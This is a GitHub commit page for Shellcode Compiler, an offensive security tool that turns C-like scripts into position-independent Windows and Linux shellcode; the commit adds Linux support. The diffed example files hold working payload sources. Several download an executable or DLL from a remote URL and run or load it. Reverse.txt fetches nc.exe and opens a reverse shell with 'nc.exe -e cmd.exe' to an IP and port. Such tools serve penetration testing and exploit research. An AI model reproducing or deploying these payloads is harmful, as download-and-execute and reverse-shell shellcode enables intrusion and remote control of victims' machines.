Skip to content

Commit 8e3f0c1

Browse files
committed
Initial Linux shellcodes support
Initial Linux shellcodes support
1 parent 2e80f4a commit 8e3f0c1

20 files changed

+787
-72
lines changed

Examples/DaE.txt

Lines changed: 1 addition & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,7 @@
1-
21
function URLDownloadToFileA("urlmon.dll");
3-
42
function WinExec("kernel32.dll");
5-
63
function ExitProcess("kernel32.dll");
74

8-
9-
105
URLDownloadToFileA(0,"https://rstforums.com/fisiere/calc.exe","calc.exe",0,0);
11-
126
WinExec("calc.exe",0);
13-
14-
ExitProcess(0);
15-
7+
ExitProcess(0);

Examples/DaL.txt

Lines changed: 1 addition & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,7 @@
11
function URLDownloadToFileA("urlmon.dll");
2-
32
function LoadLibraryA("kernel32.dll");
4-
53
function ExitProcess("kernel32.dll");
64

7-
8-
95
URLDownloadToFileA(0,"https://rstforums.com/fisiere/DLLExample.dll","SC.dll",0,0);
10-
116
LoadLibraryA("SC.dll");
12-
13-
ExitProcess(0);
7+
ExitProcess(0);

Examples/File.txt

Lines changed: 1 addition & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,7 @@
1-
21
function CopyFileA("kernel32.dll");
3-
42
function DeleteFileA("kernel32.dll");
5-
63
function ExitProcess("kernel32.dll");
74

8-
9-
105
CopyFileA("C:\Windows\System32\calc.exe","C:\Users\Ionut\Desktop\calc.exe",0);
11-
126
DeleteFileA("C:\Users\Ionut\Desktop\Delete.txt");
13-
14-
ExitProcess(0);
7+
ExitProcess(0);

Examples/Lin.txt

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
chmod("/root/chmodme",511);
2+
write(1,"Hello, world",12);
3+
kill(1661,9);
4+
getpid();
5+
execve("/usr/bin/burpsuite",0,0);
6+
exit(2);

Examples/Msg.txt

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,5 @@
1-
21
function MessageBoxA("user32.dll");
3-
42
function ExitProcess("kernel32.dll");
53

6-
7-
84
MessageBoxA(0,"This is a MessageBox example","Shellcode Compiler",0);
9-
10-
ExitProcess(0);
5+
ExitProcess(0);

Examples/Reg.txt

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,5 @@
11
function RegSetKeyValueA("advapi32.dll");
2-
32
function ExitProcess("kernel32.dll");
43

5-
6-
74
RegSetKeyValueA(2147483649,"Software\Microsoft\Notepad","Test",1,"Nytro",5);
8-
9-
ExitProcess(0);
5+
ExitProcess(0);

Examples/Reverse.txt

Lines changed: 1 addition & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,7 @@
11
function URLDownloadToFileA("urlmon.dll");
2-
32
function WinExec("kernel32.dll");
4-
53
function ExitProcess("kernel32.dll");
64

7-
8-
95
URLDownloadToFileA(0,"https://rstforums.com/fisiere/nc.exe","nc.exe",0,0);
10-
116
WinExec("nc.exe -e cmd.exe 192.168.0.100 1337",0);
12-
13-
ExitProcess(0);
7+
ExitProcess(0);

README.md

Lines changed: 22 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,11 @@
11
# Shellcode Compiler
22

3-
Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows. It is possible to call any Windows API function in a user-friendly way.
3+
Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows (x86 and x64) and Linux (x86 and x64). It is possible to call any Windows API function or Linux syscall in a user-friendly way.
44

55
Shellcode Compiler takes as input a source file and it uses it's own compiler to interpret the code and generate an assembly file which is assembled with Keystone engine.
66

7-
Shellcode compiler was released at DefCamp security conference in Romania, November 2016.
8-
97
# Command line options
8+
109
-h (--help) : Show this help message
1110
-p (--platform) : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64
1211
-v (--verbose) : Print detailed output
@@ -15,7 +14,7 @@ Shellcode compiler was released at DefCamp security conference in Romania, Novem
1514
-o (--output) : Output file of the generated binary shellcode
1615
-a (--assembbly) : Output file of the generated assembly code
1716

18-
# Source code example
17+
# Windows example
1918

2019
function URLDownloadToFileA("urlmon.dll");
2120
function WinExec("kernel32.dll");
@@ -24,29 +23,43 @@ Shellcode compiler was released at DefCamp security conference in Romania, Novem
2423
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
2524
WinExec("bk.exe",0);
2625
ExitProcess(0);
27-
26+
27+
# Linux example
28+
29+
chmod("/root/chmodme",511);
30+
write(1,"Hello, world",12);
31+
kill(1661,9);
32+
getpid();
33+
execve("/usr/bin/burpsuite",0,0);
34+
exit(2);
35+
2836
# Invocation example
29-
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm
37+
38+
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
3039
3140
# Limitations
41+
3242
1. It is not possible to use the return value of an API call
3343
2. It is not possible to use pointers or buffers
3444
3. It is not possible to declare variables
3545

36-
All these limitations will be fixed as soon as possible. However, many other limitations will exist.
46+
Multiple other limitations exists as well.
3747
This is an Alpha version. Please report any bugs or suggestions.
3848

3949
# Changelog
50+
4051
1. Initial support for Windows x64
52+
2. Initial support for Linux (x86 and x64) shellcodes
4153

4254
# Keystone compilation
55+
4356
1. Download Keystone Engine source code
4457
2. Download, install and put in PATH cmake and python
45-
3. Open Visual Studio 2019 - x86 (for 32 bits) and x64 (for 64 bits) Native Tools Command Prompts and go to Keystone source directory
58+
3. Open Visual Studio 2019 - x86 (for 32 bits) and x64 (for 64 bits) "Native Tools Command Prompts" and go to Keystone source directory
4659
4. Edit nmake-lib.bat file and replace -DLLVM_TARGETS_TO_BUILD="all" with -DLLVM_TARGETS_TO_BUILD="X86"
4760
5. Run mkdir build and cd build commands
4861
6. Run ..\nmake-lib.bat command
49-
7. Copy the resulted lib file from keystone-src\build\llvm\lib\keystone.lib to ShellcodeCompiler\Keystone\keystone_x86.lib and keystone_x64.lib
62+
7. Copy the resulted lib file from keystone-src\build\llvm\lib\keystone.lib to ShellcodeCompiler\Keystone\keystone_x86.lib (for 32 bits) and keystone_x64.lib (for 64 bits)
5063

5164
# Author
5265

Release/ShellcodeCompiler_x64.exe

61 KB
Binary file not shown.

Release/ShellcodeCompiler_x86.exe

66.5 KB
Binary file not shown.

0 commit comments

Comments
 (0)